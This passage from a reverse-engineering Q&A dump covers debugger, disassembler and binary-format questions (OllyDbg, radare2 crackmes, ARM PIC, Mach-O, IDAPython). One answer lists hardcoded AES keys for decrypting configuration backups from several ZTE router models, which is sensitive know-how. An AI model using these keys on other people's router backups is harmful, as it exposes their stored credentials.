alt=\"CPPLib.dll\"></a>\nCPPLib.dll</p>\n\n<p>Moreover, even if I define it manually (e.g. choose Arg1 to be memory buffer 1) when calling that function it does not take what I wanted to be an argument. And there is no other way to change this argument as step into a function, find memory address to which it refers and change it there.</p>\n\n<p>So my question is: Why does OllyDbg detect number of input arguments in functions (and allows to alter them easily) from USER32.dll and doesn't in my own DLL? How can I overcome this problem?</p>\n",
        "Title": "Call DLL export in OllyDBG",
        "Tags": "|ollydbg|debugging|dll|functions|",
        "Answer": "<p>i compiled the src in commandline (no vs using ewdk)<br>\nand it appears ollydbg is able to identify the args and the call export seems to succeed here with some random crap thrown in for s    </p>\n\n<p>i assume you are aware std::string is a structure and not a plain string<br>\nyou may need to properly craft a std::string and point the address of the std::string<br>\nfor you to see it in messagebox in the argument field </p>\n\n<p>well for whatever it is worth here is a screenshot of my dab with what was posted and its results   </p>\n\n<p><a href=\"https://i.stack.imgur.com/YZHFb.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/YZHFb.png\" alt=\"enter image description here\"></a></p>\n\n<hr>\n\n<h2><strong>EDIT</strong></h2>\n\n<p>std::string is a structure as i mentioned </p>\n\n<p>your s if you debugged your executable directly should be like this </p>\n\n<pre><code>0:000&gt; dt -r9 s\nLocal var @ 0x22f984 Type std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt;*\n0x0022f98c\n   +0x000 _Mypair          : std::_Compressed_pair&lt;std::_Wrap_alloc&lt;std::allocator&lt;char&gt; &gt;,std::_Str\ning_val&lt;std::_Simple_types&lt;char&gt; &gt;,1&gt;\n      +0x000 _Myval2          : std::_String_val&lt;std::_Simple_types&lt;char&gt; &gt;\n         +0x000 _Bx              : std::_String_val&lt;std::_Simple_types&lt;char&gt; &gt;::_Bxty\n            +0x000 _Buf             : [16]  \"USER INPUT\"\n            +0x000 _Ptr             : 0x52455355  \"--- memory read error at address 0x52455355 ---\"\n            +0x000 _Alias           : [16]  \"USER INPUT\"\n         +0x010 _Mysize          : 0xa\n         +0x014 _Myres           : 0xf\n   =6e2a0000 npos             : 0x905a4d\n0:000&gt;\n</code></pre>\n\n<p>so if you notice std::string contains a small performance optimization \nlike if the string is less than 0x10 bytes it doesn't allocate memory but uses the buffer directly  if the string is bigger than 0x10 bytes it allocates memory </p>\n\n<p>it has a size and max size members at 0x10 and 0x14 from the start of buffer   ie foo.cstr() you may need to properly set them  see below two snap shots one for a bigger std::string and one for a smaller std::string </p>\n\n<p><a href=\"https://i.stack.imgur.com/FW8sq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/FW8sq.png\" alt=\"enter image description here\"></a></p>\n\n<p>bigger string </p>\n\n<p><a href=\"https://i.stack.imgur.com/fuH3t.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/fuH3t.png\" alt=\"enter image description here\"></a></p>\n\n<p>you should recognize 4021c0 as loaddlls dump1 space </p>\n\n<p>hope that helps </p>\n\n<p>as to why ollydbg shows two args may be it is a bug in the olly engine </p>\n\n<p>according to windbg it is only one parameter </p>\n\n<pre><code>0:000&gt; .fnent .\nDebugger function entry 01e40268 for:\n(6e2a10e0)   cpplib!CPPLib::Functions::PrintText   |  (6e2a1180)   cpplib!std::basic_string&lt;wchar_t,\nstd::char_traits&lt;wchar_t&gt;,std::allocator&lt;wchar_t&gt; &gt;::~basic_string&lt;wchar_t,std::char_traits&lt;wchar_t&gt;\n,std::allocator&lt;wchar_t&gt; &gt;\nExact matches:\n    cpplib!CPPLib::Functions::PrintText (class std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::al\nlocator&lt;char&gt; &gt; *, class std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; *)\n\nOffStart:  000010e0\nProcSize:  0x9d\nPrologue:  0x29\nParams:    0n1 (0x4 bytes) &lt;------------------------\nLocals:    0n10 (0x28 bytes) \nNon-FPO\n0:000&gt;\n</code></pre>\n"
    },
    {
        "Id": "14711",
        "CreationDate": "2017-02-21T23:22:23.380",
        "Body": "<p>This config.bin file is from a ZTE router. I would like to decompress it but I did not identify the compression used in the file. Maybe someone can.</p>\n\n<pre><code>00000000  99 99 99 99 44 44 44 44  55 55 55 55 aa aa aa aa  |....DDDDUUUU....|\n00000010  00 00 00 00 00 00 00 00  00 00 00 04 00 00 00 00  |................|\n00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 40  |...............@|\n00000040  00 02 00 00 00 00 00 80  00 00 4c 84 00 00 00 00  |..........L.....|\n00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00000080  04 03 02 01 00 00 00 00  00 00 00 10 5a 58 56 31  |............ZXV1|\n00000090  30 20 48 32 30 31 4c 20  56 32 2e 30 01 02 03 04  |0 H201L V2.0....|\n000000a0  00 00 00 02 00 00 00 00  00 00 4c 68 00 01 00 00  |..........Lh....|\n000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n000000d0  00 00 00 00 00 00 00 00  00 00 4c 20 00 00 4c 20  |..........L ..L |\n000000e0  00 00 00 00 5d a2 a4 6e  d6 94 bc 97 07 1b 38 17  |....]..n......8.|\n000000f0  ab 66 e7 bc f4 9b 4e 3f  cd 89 b0 c3 b2 11 4a f4  |.f....N?......J.|\n00000100  40 88 2c a1 90 e4 4d 32  d7 9b fa bd ec 39 42 ae  |@.,...M2.....9B.|\n00000110  e6 a9 2f 26 03 6e 70 f4  e5 0f 88 55 3b 1c b0 bb  |../&amp;.np....U;...|\n00000120  b6 04 3e 73 99 15 ef 65  39 8d 85 52 6e 37 0b 5d  |..&gt;s...e9..Rn7.]|\n00000130  6e c2 39 75 a4 94 0c c7  79 72 86 dc 25 38 38 e0  |n.9u....yr..%88.|\n00000140  8f 54 5b 18 a4 76 15 e4  f7 b3 c6 0f d8 91 19 e0  |.T[..v..........|\n00000150  00 22 1d 9c 7d a0 08 42  6f 87 ab 73 4b 17 4c 25  |.\"..}..Bo..sK.L%|\n00000160  40 2f ea 30 6b 80 27 72  db 2b 30 7a 2a 2f 3d b0  |@/.0k.'r.+0z*/=.|\n00000170  46 ca 50 0e ad 99 9a 70  3e 23 b4 b4 e0 ee 3a b3  |F.P....p&gt;#....:.|\n00000180  a8 6a 9d 7c a2 29 17 51  9f 7a 0a 14 90 41 3f e2  |.j.|.).Q.z...A?.|\n00000190  dc 63 52 c8 01 24 6b 46  31 ac 4e c6 54 cb 18 70  |.cR..$kF1.N.T..p|\n000001a0  33 67 0c 06 7e db 00 af  22 ec a1 37 98 01 ef ae  |3g..~...\"..7....|\n000001b0  9b 47 30 48 e3 6d 18 87  ab 34 2d 2b 4e b9 5b eb  |.G0H.m...4-+N.[.|\n000001c0  55 5f 61 ab da eb 39 7e  df 7e 79 fe fd f8 11 66  |U_a...9~.~y....f|\n000001d0  b3 48 fc f8 33 38 fd 1b  1d 00 bd 83 f8 b8 2b 9f  |.H..38........+.|\n000001e0  cf 1e ae 69 ff 5d e3 04  8c 6d cc 19 12 f4 95 03  |...i.]...m......|\n000001f0  3d c8 67 e2 c2 52 d3 a4  44 eb af f5 a0 63 0a ef  |=.g..R..D....c..|\n00000200  d2 3d 82 9e 95 d1 f4 1c  ce 0c 5f 60 49 ab c3 d5  |.=........_`I...|\n00000210  89 d5 53 82 f7 4e ba ae  d3 3c 09 e9 af 52 29 e9  |..S..N...&lt;...R).|\n00000220  d5 9b 02 54 91 e9 ae 0e  12 26 3b ca ca 4e 8f 01  |...T.....&amp;;..N..|\n00000230  a4 52 e1 4e f8 42 7e 0d  9c 99 76 7d 5f 3c de 67  |.R.N.B~...v}_&lt;.g|\n00000240  82 fc 38 97 7b db 06 b3  0a 44 95 64 ab 02 71 1a  |..8.{....D.d..q.|\n00000250  08 cc ca 88 f8 b6 bb 12  d4 fd 4d dd 9b 3f c1 57  |..........M..?.W|\n00000260  bb 54 9c b7 99 c3 9c 69  86 91 ea 82 b7 38 b3 c1  |.T.....i.....8..|\n00000270  f3 71 30 b7 06 82 ea c3  04 93 30 d4 83 56 50 b5  |.q0.......0..VP.|\n00000280  93 39 7a ea a7 1b 38 f0  3a f0 95 57 cb 79 e2 91  |.9z...8.:..W.y..|\n</code></pre>\n\n<p>Here is the <a href=\"https://mega.nz/#!wVg1gJKQ!PGZaqaaeKanYqxFtNw5FNsmh_R5UR75Nr0rC8MihJJ0\" rel=\"nofollow noreferrer\">file</a></p>\n\n<p>EDIT:\nI changed the wifi password on the router and backed it up and in picture below is the difference.</p>\n\n<p><a href=\"https://i.stack.imgur.com/6jTFY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6jTFY.png\" alt=\"enter image description here\"></a></p>\n\n<p>EDIT2: At offset 0xE4 starts first header ends at offset 0x105, data of this header it seems to start at 0x134 ?</p>\n\n<p>EDIT3: On my router ZTEZXV10 H201L V2 there is a utility which is in charge of db dackup (its called <a href=\"https://dl.dropboxusercontent.com/u/38454983/cspd\" rel=\"nofollow noreferrer\">cspd</a>) and here it is so maybe someone can \"see\" how the backup is encrypted:\n<a href=\"https://i.stack.imgur.com/owsdd.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/owsdd.png\" alt=\"DBbackupXML\"></a></p>\n\n<p>And here is <code>dbFileSave</code>. I can't tell which is responsible for saving the file.\n<a href=\"https://i.stack.imgur.com/kNnW1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kNnW1.png\" alt=\"enter image description here\"></a>\nDo you have any suggestions as to what I should try ? </p>\n",
        "Title": "Identify compression of this ZTE ZXV10 H201L V2 backup config file",
        "Tags": "|firmware|linux|embedded|mips|decompress|",
        "Answer": "<p>came across these keys and sharing</p>\n\n<p>Known AES keys:</p>\n\n<pre><code>  zxhn h118n ert5                      - 'MIK@0STzKpB%qJZe'\n  zxhn h118n V2.1.3_ROSCNT?            - 'MIK@0STzKpB%qJZf'\n  zxhn h168n v3                        - '402c38de39bed665'\n  zxhn h298n hv17_fv116_mts?t1         - 'Wj' (due to bug, orig. is 'Wj%2$CjM')\n  zxhn h298a hw1.1.20_fw1.1.20_ros_t1? - 'm8@96&amp;ZG3Nm7N&amp;Iz'\n  zxhn h108n hw1.2_fw2.5.4_eg1t8_ted,\n  zxhn h108n hv11_fv2_5_4_*            - 'GrWM2Hz&amp;LTvz&amp;f^5'\n  zxhn h168n hv10_fv310t3_belt         - 'GrWM3Hz&amp;LTvz&amp;f^9'\n  zxhn h208n hv10_fv1010_belt16t1      - 'Renjx%2$CjM'\n  zxhn h267n hv10_fv100t3_belt         - 'tHG@Ti&amp;GVh@ql3XN'\n</code></pre>\n"
    },
    {
        "Id": "14712",
        "CreationDate": "2017-02-22T09:42:53.323",
        "Body": "<p>I'm analyzing load commands section of executable Mach-O file in iOS 9.3.3, Twitter app is used for ilustration.</p>\n\n<pre><code># otool -hV Twitter \nTwitter:\nMach header\n      magic cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags\nMH_MAGIC_64 16777228          0  0x00     EXECUTE    49       4208   NOUNDEFS DYLDLINK TWOLEVEL PIE\n</code></pre>\n\n<p>I've read that every executable contains LC_UNIXTHREAD command which is responsible for starting the binary's main thread. However, there's no such command in examined file.</p>\n\n<pre><code># otool -l Twitter | grep LC_\n      cmd LC_SEGMENT_64\n      cmd LC_SEGMENT_64\n      cmd LC_SEGMENT_64\n      cmd LC_SEGMENT_64\n     cmd LC_SYMTAB\n            cmd LC_DYSYMTAB\n          cmd LC_LOAD_DYLINKER\n     cmd LC_UUID\n          cmd LC_LOAD_DYLIB\n          cmd LC_LOAD_DYLIB\n          cmd LC_LOAD_DYLIB\n          [...repetition omitted...]\n          cmd LC_RPATH\n          cmd LC_RPATH\n      cmd LC_CODE_SIGNATURE\n</code></pre>\n\n<p>I cannot understand why it's not there. Does it have anything in common with the fact that this app runs with mobile user privileges or that it's proprietary app of the third party? I found this LC command e.g. for /bin/ls, but not for any of tested proprietary apps.</p>\n",
        "Title": "No LC_UNIXTHREAD segment in iOS application Mach-O",
        "Tags": "|ios|mach-o|",
        "Answer": "<p>Since a few versions ago, <code>LC_UNIXTHREAD</code> has been deprecated in favor of the new command, <code>LC_MAIN</code>.</p>\n\n<pre><code>#define LC_MAIN (0x28|LC_REQ_DYLD) /* replacement for LC_UNIXTHREAD */\nstruct entry_point_command {\n    uint32_t  cmd;  /* LC_MAIN only used in MH_EXECUTE filetypes */\n    uint32_t  cmdsize;  /* 24 */\n    uint64_t  entryoff; /* file (__TEXT) offset of main() */\n    uint64_t  stacksize;/* if not zero, initial stack size */\n};\n</code></pre>\n\n<p>Possibly your <code>otool</code> is a little old and does not support it.</p>\n"
    },
    {
        "Id": "14716",
        "CreationDate": "2017-02-22T21:40:32.823",
        "Body": "<p>When you trace with Ollydbg it prints the register values near commands that modify them. Is there any way to get it to print some memory locations, of my choice, when modified?</p>\n",
        "Title": "Log modified memory locations when tracing with Ollydbg",
        "Tags": "|ollydbg|debuggers|",
        "Answer": "<p>which version of ollydbg v1 or v2<br>\nif you are using v2 then use <strong>set protocol</strong> and apply limit to range for read , write , or r/w<br>\nthe snapshot shows a range of 0x00000000 to 0x7fffffff (whole user mode mode range )<br>\n<a href=\"https://i.stack.imgur.com/pxaNN.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pxaNN.png\" alt=\"enter image description here\"></a></p>\n\n<p>this should log the memory access to that range as follows </p>\n\n<p><a href=\"https://i.stack.imgur.com/Sce0W.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Sce0W.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "14717",
        "CreationDate": "2017-02-22T23:08:49.747",
        "Body": "<p>I'm starting to learn reverse engineering so I'm trying to reverse sample app, compiled for ARM(iOS) and now I'm looking into code.</p>\n\n<p>This section is right before <code>WHILE</code> and right at the beginning of function where values are initiated. but I can't find the raw values.</p>\n\n<p>This is the function .h file:</p>\n\n<pre><code>#import \"NSObject.h\"\n\n@interface SampleCalc : NSObject\n\n+ (double)doCalc:(double)arg1;\n\n@end\n</code></pre>\n\n<p>And this is the ARM code:</p>\n\n<pre><code>+[SampleCalc doCalc:]:\n0002f198         movw       sb, #0x6cb4      ; Objective C Implementation defined at 0x95db8 (class method), :lower16:(0xc5e60 - 0x2f1ac)\n0002f19c         vmov.i32   d18, #0x0\n0002f1a0         movt       sb, #0x9         ; :upper16:(0xc5e60 - 0x2f1ac)\n0002f1a4         vmov       d16, r2, r3\n0002f1a8         add        sb, pc           ; 0xc5e60\n0002f1aa         movs       r2, #0x0\n0002f1ac         add.w      r3, sb, #0x8     ; 0xc5e68\n0002f1b0         vldr       d17, [sb]\n</code></pre>\n\n<p>If I understand correctly this is ARM PIC (position independent code).</p>\n\n<p>But I don't get the logic here <code>0002f1b0</code> - does the brackets mean <code>sb</code> is storing address and value is loaded in <code>d17</code>? And what is the address - <code>0xc5e68</code> correct?</p>\n\n<p>The <code>0xc5e60</code> contains:</p>\n\n<pre><code>000c5e60         db  0x00 ;\n000c5e61         db  0x00 ; '.'\n000c5e62         db  0x00 ; '.'\n000c5e63         db  0x00 ; '.'\n000c5e64         db  0x00 ; '.'\n000c5e65         db  0x00 ; '.'\n000c5e66         db  0x33 ; '3'\n000c5e67         db  0x40 ; '@'\n000c5e68         db  0x00 ;\n000c5e69         db  0x00 ; '.'\n000c5e6a         db  0x00 ; '.'\n000c5e6b         db  0x00 ; '.'\n000c5e6c         db  0x00 ; '.'\n000c5e6d         db  0x00 ; '.'\n000c5e6e         db  0x34 ; '4'\n000c5e6f         db  0x40 ; '@'\n000c5e70         db  0x00 ; '.'\n000c5e71         db  0x00 ; '.'\n000c5e72         db  0x00 ; '.'\n000c5e73         db  0x00 ; '.'\n000c5e74         db  0x00 ; '.'\n000c5e75         db  0x00 ; '.'\n000c5e76         db  0x35 ; '5'\n</code></pre>\n\n<p>So does that mean <code>D17</code> gets value <code>0x00</code>? </p>\n\n<p>Bonus question, if possible, what are all those <code>.</code> and <code>@</code>.</p>\n\n<p>Thanks.</p>\n",
        "Title": "Reverse engineering ARM PIC",
        "Tags": "|arm|ios|",
        "Answer": "<p><code>sb</code> is the alternative name for the ARM register <code>R9</code> used by some disassemblers, similar to <code>ip</code> for <code>R12</code>, <code>sp</code> for <code>R13</code> or <code>PC</code> for <code>R15</code>.</p>\n\n<p>The main thing you need to look at is this:</p>\n\n<pre><code>0002f1a8         add        sb, pc  \n</code></pre>\n\n<p>At this point, <code>sb</code> has the value of 0x96cb4 due to the <code>movw</code> and <code>movt</code> before.\nIn ARM, the <code>pc</code> value points two instructions ahead, so here it will have value 0x002f1a8+4 = 0x002f1ac. So, we get 0x002f1ac+0x96cb4=0xC5E60 which matches the comment added by the disassembler. Next, <code>vldr d17, [sb]</code> is executed which loads the double value at <code>sb</code> (or 0xC5E60). Double values are 8 bytes long so all of the bytes from 0xC5E60 till 0xC5E67 will be loaded. The hex for it is 0x4033000000000000 which <a href=\"http://babbage.cs.qc.cuny.edu/IEEE-754.old/64bit.html\" rel=\"nofollow noreferrer\">corresponds to 19.0</a>.</p>\n"
    },
    {
        "Id": "14718",
        "CreationDate": "2017-02-22T23:54:07.803",
        "Body": "<p>I'm working through some reverse engineering sample programs (IOLI crackmes) crackme0x00 - crackme0x09 which are gcc compiled ELF format binaries.  I was provided these by a colleague and can be downloaded from radare's github site (I can't add the link as I do not have the reputation points).  I think I can provide enough information to ask a properly formatted question.</p>\n\n<p>I'm currently working on crackme0x09 and have run across a hurdle.  I disassemble the main:\n<a href=\"https://i.stack.imgur.com/osYHT.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/osYHT.png\" alt=\"disassembled main\"></a>  </p>\n\n<p>I notice that the first call to <code>sym.imp.printf</code> is taking it's input from the <code>ebx</code> register which is referenced by an offset <code>[ebx - 0x178b]</code>.</p>\n\n<p>The <code>ebx</code> register is set, first, in <code>fcn.08048766</code> which I disassemble:\n<a href=\"https://i.stack.imgur.com/nIclC.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/nIclC.png\" alt=\"disassembled fcn.08048766\"></a></p>\n\n<p>So, in order:\n1)  <code>0x84</code> is subtracted from the <code>esp</code>\n2)  <code>ebx</code> is set equal to the location <code>esp</code> contains in <code>fcn.08048766</code> with:\n        <code>mov ebx, dword[esp]</code>\n3)  <code>0x18f7</code> is added to the new value of the <code>ebx</code>\n4)  <code>eax</code> is loaded with this new address minus and offset <code>lea eax, [ebx - 0x178b]</code>\n5)  This is then pushed onto the stack for <code>sym.imp.printf</code> to print</p>\n\n<p>If I print all the strings in the data section of the program (using <code>iz</code> command) I can see them there, but I'm having a hard time understanding how to interpret the results:</p>\n\n<pre><code>vaddr=0x08048838 paddr=0x00000838 ordinal=000 sz=5 len=4 section=.rodata type=ascii string=LOLO\nvaddr=0x0804883d paddr=0x0000083d ordinal=001 sz=21 len=20 section=.rodata type=ascii string=Password Incorrect!\\n\nvaddr=0x08048855 paddr=0x00000855 ordinal=002 sz=14 len=13 section=.rodata type=ascii string=Password OK!\\n\nvaddr=0x08048863 paddr=0x00000863 ordinal=003 sz=6 len=5 section=.rodata type=ascii string=wtf?\\n\nvaddr=0x08048869 paddr=0x00000869 ordinal=004 sz=25 len=24 section=.rodata type=ascii string=IOLI Crackme Level 0x09\\n\nvaddr=0x08048882 paddr=0x00000882 ordinal=005 sz=11 len=10 section=.rodata type=ascii string=Password:\n</code></pre>\n\n<p>My question:  How can I tell what string is referenced by <code>[ebx - 0x178b]</code> and subsequent <code>ebx</code> offsets?</p>\n\n<p>Thanks.</p>\n",
        "Title": "Finding hidden string location using radare2 on ELF binaries",
        "Tags": "|disassembly|assembly|c|elf|radare2|",
        "Answer": "<p>You are looking at so-called position-independent code (PIC). The program uses a helper function to get its current execution address into <code>ebx</code> and then adds a delta to it to calculate the address of the GOT (this works because even after the file has been moved in memory, the data segment including the GOT is still at the same offset from the function). To calculate <code>ebx</code>, you just need to remember that the <code>call</code> instruction pushes the return address onto the stack, so inside <code>fcn.08048766</code> <code>[esp]</code> will contain <code>0x80486fd</code>.  Adding <code>0x18f7</code>, we get <code>0x8049FF4</code> which should be the GOT address, and then you can subtract <code>0x178b</code> to get <code>0x8048869</code> which should be the string. </p>\n"
    },
    {
        "Id": "14721",
        "CreationDate": "2017-02-23T09:35:33.817",
        "Body": "<p>For a project I'm in need of a parseable version of the Windows API (i.e. the functions described in msdn).</p>\n\n<p>I tried to crawl it myself, but there seem to be more than 5 formats for signatures and parameters used. The MsdnApiExtractor project does not seem to work anymore.</p>\n\n<p>I've seen some projects using help files, but I can't seem anything to parse .hlp files. Sadly, using the header files is no alternative, since it lacks argument names.</p>\n\n<p>I'm mainly interested in the High-Level API (e.g. ReadFile, CloseHandle etc.)</p>\n\n<p><strong>edit:</strong></p>\n\n<p>Seems I've been looking at the wrong header files</p>\n",
        "Title": "Parseable Windows API documentation",
        "Tags": "|windows|api|documentation|",
        "Answer": "<p>this should be a comment but the content is long for a comment so an answer </p>\n\n<p>your statement /subsequent edit / that header files does not contain names \nis not correct </p>\n\n<pre><code>:\\&gt;echo %cd%\nE:\\ewdk\\Program Files\\Windows Kits\\10\\Include\\10.0.10586.0\\um\n\n:\\&gt;grep -irn -B 3 -A 3 GetLocalTime  *\nsysinfoapi.h-180-WINBASEAPI\nsysinfoapi.h-181-VOID\nsysinfoapi.h-182-WINAPI\nsysinfoapi.h:183:GetLocalTime(\nsysinfoapi.h-184-    _Out_ LPSYSTEMTIME lpSystemTime\nsysinfoapi.h-185-    );\nsysinfoapi.h-186-\n--\n</code></pre>\n\n<p>in fact i have around 49547 apis parsed from ewdk win10 headers</p>\n\n<pre><code>:\\&gt;wc -l uniqtags.txt\n49547 uniqtags.txt \n</code></pre>\n\n<p>here is what it spits out for your GetLocalTime</p>\n\n<pre><code>:\\&gt;grep -n GetLocalTime uniqtags.txt\n9715:GetLocalTime       ( _Out_ LPSYSTEMTIME lpSystemTime )\n15926:InternetDebugGetLocalTime ( _Out_ SYSTEMTIME * pstLocalTime, _Out_opt_ DWORD * pdwReserved )\n</code></pre>\n\n<p>here is what the possibly undocumented zwrecover functions with arguments \nparsed from headers look like</p>\n\n<pre><code>:\\&gt;grep -n ZwRec uniqtags.txt\n33290:ZwRecoverEnlistment       ( _In_ HANDLE EnlistmentHandle, _In_opt_ PVOID EnlistmentKey )\n33291:ZwRecoverResourceManager  ( _In_ HANDLE ResourceManagerHandle )\n33292:ZwRecoverTransactionManager       ( _In_ HANDLE TransactionManagerHandle )\n</code></pre>\n\n<p>just to make it clear  if you want to print out all the Zw.<em>Enlist.</em> functions with thier arguments you could do some thing like this </p>\n\n<pre><code>:\\&gt;for /f %I in ( 'awk \"{print $1}\" uniqtags.txt ^| grep -i Zw ^| grep  Enlist ')  do grep %I uniqta\ngs.txt\n\n:\\&gt;grep ZwCommitEnlistment uniqtags.txt\nZwCommitEnlistment      ( _In_ HANDLE EnlistmentHandle, _In_opt_ PLARGE_INTEGER TmVirtualClock )\n\n:\\&gt;grep ZwCreateEnlistment uniqtags.txt\nZwCreateEnlistment      ( _Out_ PHANDLE EnlistmentHandle, _In_ ACCESS_MASK DesiredAccess, _In_ HANDL\nE ResourceManagerHandle, _In_ HANDLE TransactionHandle, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes\n, _In_opt_ ULONG CreateOptions, _In_ NOTIFICATION_MASK NotificationMask, _In_opt_ PVOID EnlistmentKe\ny )\n\n:\\&gt;grep ZwOpenEnlistment uniqtags.txt\nZwOpenEnlistment        ( _Out_ PHANDLE EnlistmentHandle, _In_ ACCESS_MASK DesiredAccess, _In_ HANDL\nE RmHandle, _In_ LPGUID EnlistmentGuid, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes )\n\n:\\&gt;grep ZwPrePrepareEnlistment uniqtags.txt\nZwPrePrepareEnlistment  ( _In_ HANDLE EnlistmentHandle, _In_opt_ PLARGE_INTEGER TmVirtualClock )\n\n:\\&gt;grep ZwPrepareEnlistment uniqtags.txt\nZwPrepareEnlistment     ( _In_ HANDLE EnlistmentHandle, _In_opt_ PLARGE_INTEGER TmVirtualClock )\n\n:\\&gt;grep ZwQueryInformationEnlistment uniqtags.txt\nZwQueryInformationEnlistment    ( _In_ HANDLE EnlistmentHandle, _In_ ENLISTMENT_INFORMATION_CLASS En\nlistmentInformationClass, _Out_writes_bytes_(EnlistmentInformationLength) PVOID EnlistmentInformatio\nn, _In_ ULONG EnlistmentInformationLength, _Out_opt_ PULONG ReturnLength )\n\n:\\&gt;grep ZwReadOnlyEnlistment uniqtags.txt\nZwReadOnlyEnlistment    ( _In_ HANDLE EnlistmentHandle, _In_opt_ PLARGE_INTEGER TmVirtualClock )\n\n:\\&gt;grep ZwRecoverEnlistment uniqtags.txt\nZwRecoverEnlistment     ( _In_ HANDLE EnlistmentHandle, _In_opt_ PVOID EnlistmentKey )\n\n:\\&gt;grep ZwRollbackEnlistment uniqtags.txt\nZwRollbackEnlistment    ( _In_ HANDLE EnlistmentHandle, _In_opt_ PLARGE_INTEGER TmVirtualClock )\n\n:\\&gt;grep ZwSetInformationEnlistment uniqtags.txt\nZwSetInformationEnlistment      ( _In_ HANDLE EnlistmentHandle, _In_ ENLISTMENT_INFORMATION_CLASS En\nlistmentInformationClass, _In_reads_bytes_(EnlistmentInformationLength) PVOID EnlistmentInformation,\n _In_ ULONG EnlistmentInformationLength )\n\n:\\&gt;\n</code></pre>\n"
    },
    {
        "Id": "14725",
        "CreationDate": "2017-02-23T14:17:31.177",
        "Body": "<p>I'm new to IDAPython. Basically I want to iterate through all functions in an IDB file and their instructions using ida python script. The final goal is to export the functions &amp; their instructions from idapro. in certain format.</p>\n\n<pre><code>from idautils import *\nfrom idaapi import *\n\nea = BeginEA()\nfor funcea in Functions(SegStart(ea), SegEnd(ea)):\n    functionName = GetFunctionName(funcea)\n    print functionName\n</code></pre>\n\n<p>Using above script I'm retrieving function names, now I also want to print the assembly instructions of each function. I know may I have to use GetDisasm(ea), not sure how to use the API.</p>\n\n<p>TIA</p>\n",
        "Title": "Using IDA Python Iterate Through All Functions and Their Instructions",
        "Tags": "|ida|idapython|",
        "Answer": "<p>Please note that it will print only those functions that were recognized as such by IDA autoanalysis or defined manually, exactly as your code snippet. This snippet is not debugged, use on your own risk.</p>\n\n<pre><code>from idautils import *\nfrom idaapi import *\nfrom idc import *\n\nfor segea in Segments():\n    for funcea in Functions(segea, SegEnd(segea)):\n        functionName = GetFunctionName(funcea)\n        for (startea, endea) in Chunks(funcea):\n            for head in Heads(startea, endea):\n                print functionName, \":\", \"0x%08x\"%(head), \":\", GetDisasm(head)\n</code></pre>\n\n<p>If you want to extract the instructions as binary you can use <code>idc.NextHead</code> function to get instruction boundaries.</p>\n\n<p>The function chunks mentioned in the code are not the same as we see in the the graph view in IDA (the function has more than one chunk if it is discontinuous\n): chunks in graph view are called <a href=\"https://en.wikipedia.org/wiki/Basic_block\" rel=\"noreferrer\">\"basic blocks\"</a>, see more correct definition by the link.</p>\n"
    },
    {
        "Id": "14731",
        "CreationDate": "2017-02-24T01:42:52.947",
        "Body": "<p>Working with ASM code, bit I don't understand what does is the difference between these lines?</p>\n\n<pre><code>VLDR            S0, [R5]\nVLDR            S2, [R5,#4]\n</code></pre>\n\n<p>What is the meaning of <strong>#4</strong>?</p>\n",
        "Title": "What does this extra argument for a VLDR instruction mean?",
        "Tags": "|assembly|arm|",
        "Answer": "<pre><code>VLDR            S0, [R5]\n</code></pre>\n\n<p>Load single-precision extension register <code>S0</code>. R5 is the ARM register with the base address for the transfer.</p>\n\n<pre><code>VLDR            S2, [R5,#4]\n</code></pre>\n\n<p>Load single-precision extension register <code>S2</code>. R5 is the ARM register with the base address for the transfer; however we will be adding the numeric offset (<code>#4</code>) to the base address <code>R5</code> to get the address used for the transfer.</p>\n"
    },
    {
        "Id": "14744",
        "CreationDate": "2017-02-24T15:54:43.273",
        "Body": "<p>Please bear in mind I am very new to all this - however I have searched and could not easily find an answer to my issue.</p>\n\n<p>I have an elf (actually an Android aboot image based upon LK) that I loaded into IDA Pro. I see Strings, and I wish to find out where these strings are referenced in code.</p>\n\n<p><a href=\"https://i.stack.imgur.com/KaVEa.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KaVEa.png\" alt=\"enter image description here\"></a></p>\n\n<p>I have tried to find cross-references to these strings in the code but there aren't any.</p>\n\n<p>Am I totally naive and missed out something totally obvious to the initiated? Could the strings be referenced by some obtuse run-time calculation of address (to obfuscate references) rather than just straightforward absolute/relative reference (which IDA mostly could work out?)</p>\n\n<p>Many thanks.</p>\n",
        "Title": "How do I find where a String is referenced in IDA Pro?",
        "Tags": "|ida|elf|",
        "Answer": "<p>It could just be an array of strings that is referenced by a table of offsets into the array.  Here is an example of how strerror() looks up strings:</p>\n\n<p><a href=\"https://i.stack.imgur.com/NWYBN.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/NWYBN.png\" alt=\"String table example\"></a></p>\n\n<p>Should be pretty straightforward to see that <em>errid</em> is just used to calculate the pointer for a corresponding string in the <em>errmsg</em> table by the <strong>strerror()</strong> function.  This could be why you are not seeing xrefs for those strings.  Without more information, that's my best guess.  I would try to find the beginning of that list of strings and look for an xref there.</p>\n"
    },
    {
        "Id": "14748",
        "CreationDate": "2017-02-24T22:14:31.580",
